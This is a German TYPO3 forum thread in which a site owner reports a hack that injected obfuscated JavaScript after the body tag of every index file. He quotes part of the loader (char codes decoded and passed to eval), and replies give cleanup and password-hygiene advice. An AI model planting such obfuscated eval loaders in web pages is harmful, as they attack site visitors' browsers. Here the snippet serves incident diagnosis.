Zum Inhalt springen

TYPO3 Seite gehackt?!

Erstellt am 19. Januar 2011 · 4 Antworten · letzte Antwort am 20. Januar 2011

Tags: Frage

McGenesis ·

N'abend zusammen,

eines meiner TYPO3 Projekte wurde gehackt. In sämtlichen index Dokumenten (.html, .php) befindet sich eingeschläuster Code in Form eines zusätzlichen eingefügten SCRIPT Elements. Es muss sich hierbei wohl um eine Art Exploit handeln. Wirklich schlau werd ich aus dem Stückchen Javascript Code nicht.

Direkt hinter dem <body> Element befindet sich der eingefügte Code, den ich hier nur auszugsweise posten möchte.

<script>var zaee="4.5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,5)

[...]

hn=new Date();var diyb="";var xd="e"+(parseInt(hn.getMonth())-1)+"a"+diyb+"l";nt=(function(){return this;})();vdwv=nt[xd.replace("10","v")];gjuf=window['String'].fromCharCode;var ja='';for(var i=0;i<zaee.length;i++){ja+=gjuf(vdwv(zaee[i]));}
vdwv(ja);</script>

Hat jemand ähnliche Erfahrung gemacht? Was bewirkt dieses eingefügte JS? Worauf muss ich jetzt besonders achten? Sammelt dieses Script irgendwelche Informationen? Wie sieht es mit der Datenbank aus? Mögliche Modifizierung der Content Elemente?

Hmmm, Fragen über Fragen... o.O

Grüße,
mcgenesis

Unbekannter Benutzer ·

Ohne den ganzen Code in Reinform zu kennen, kann man das nicht nachvollziehen. Da wird auf jeden Fall über X verschachtelte Umwege eine String zusammengebaut, der dann am Ende wieder Javacsript ist und irgendwas tut. Was genau kann man aber erst sagen, wenn man den ganzen Code kennt. Eigentlich dürftest du dir keine Sorgen um deine DB oder so machen müssen, es handelt sich ja um Javascript kein PHP. Aber es könnte natürlich sein, dass der Code die Browser deiner Besucher als Ziel hat und dort versucht einen Virus einzuschleusen...

McGenesis ·

Hallo,

Danke für Deine Antwort!

Kitsunet schrieb

Was genau kann man aber erst sagen, wenn man den ganzen Code kennt.

Den könnte ich natürlich auch mal komplett posten , werd ihn wohl mal Stück für Stück auseinander nehmen.

Kitsunet schrieb

Eigentlich dürftest du dir keine Sorgen um deine DB oder so machen müssen, es handelt sich ja um Javascript kein PHP.

Aber immerhin hat dieses Script alle index Dateien auf meinem Server modifiziert und somit Schreibzugriff gehabt. Ich stelle mir daher im Moment noch die Frage, wie das passieren konnte.

Grüße,
mcgenesis

lisardo ·

Hallo,

sehr unwahrscheinlich, dass das eine Sicherheitslücke in TYPO3 ist. Tippe mal das hier var zaee= bei Google ein ... Ist schon einigermaßen verbreitet.

2 wahrscheinlichere Möglichkeiten:

1. du betreibst auf deinem Server noch andere Skripte, evtl, auch selbsterstellte. Aufgrund von fehlender Variablenprüfung können solche Skript öfters für solche Zwecke mißbraucht werden. In dem Fall hast du mittlerweile warscheinlich ein sog. Shellscript auf dem Server, das dafür sorgt, dass dieser Code immer wieder reingeschrieben wird. Und ggf. auch noch andere Dinge macht.

2. Du hast dir auf deinem Rechner zuhause einen Trojaner eingefangen, der deine FTP-Accounts ausliest. Weiter mit Schritt 1 ...

Ich tippe auf 2 - heisst, dein Rechner ist infiziert von einem Trojaner.

Abhilfe:
- Am wichtigsten ist ein Virencheck auf deinem Rechner zuhause. Wenn das nicht passiert, wird deine Seite immer wieder infiziert.
- Alle Passwörter rund um die Website ändern: FTP, Datenbank, Serververwaltung, Adminzugang. Merke: FTP-Programme sind oft inhärent unsicher, da sie leider oft die Passwörter im Klartext speichern. Also entweder ein FTP-Programm anschaffen, das explizit die Passwörter verschlüsselt bzw. auf die Systemdienste zurückgreift, oder die Passwörter immer manuell eingeben und nicht speichern lassen.
- wenn du kannst, danach am Server ein nicht-Infiziertes Backup zurückspielen.

Wenn du das nicht kannst, wirds aufwändiger:

1. alle infizierten Dateien suchen und bereinigen. Das ist eine riesen Arbeit und unsicher, da evtl. eines übersehen wird. Danach musst du nach einem Shellscript suchen, heisst, alle ausführbaren Dateien anschauen. Dazu brauchst du Shell-Zugang zum Server und Achtung: es gibt natürlich ausführbare Programme, die benötigt werden. Wäre mir zu fehleranfällig, deshalb noch Möglichkeit

2. Ausputz:
- Sicherheitskopie aller Daten auf dem Server, incl. Datenbank
- Alle Daten im Rootverzeichnis des Servers löschen, nur die Datenbank überlassen.
- frische TYPO3-Installation anlegen. Achtung: die gleiche Version verwenden, wie installiert war.
- aus dem Backup nur die wichtigen Dateien zurückkopieren, aber vorher jeden Ordner und Unterordner anschauen, ob hier ein verdächtiges Skript drin ist.In der Regel sollte das nur der Inhalt von /uploads/, /fileadmin und /typo3conf sein. Das ist zumindest überschaubar.

In jedem Fall ist es richtig Arbeit ...

Gruß
Peter, TYPO3 @ lisardo (Augsburg)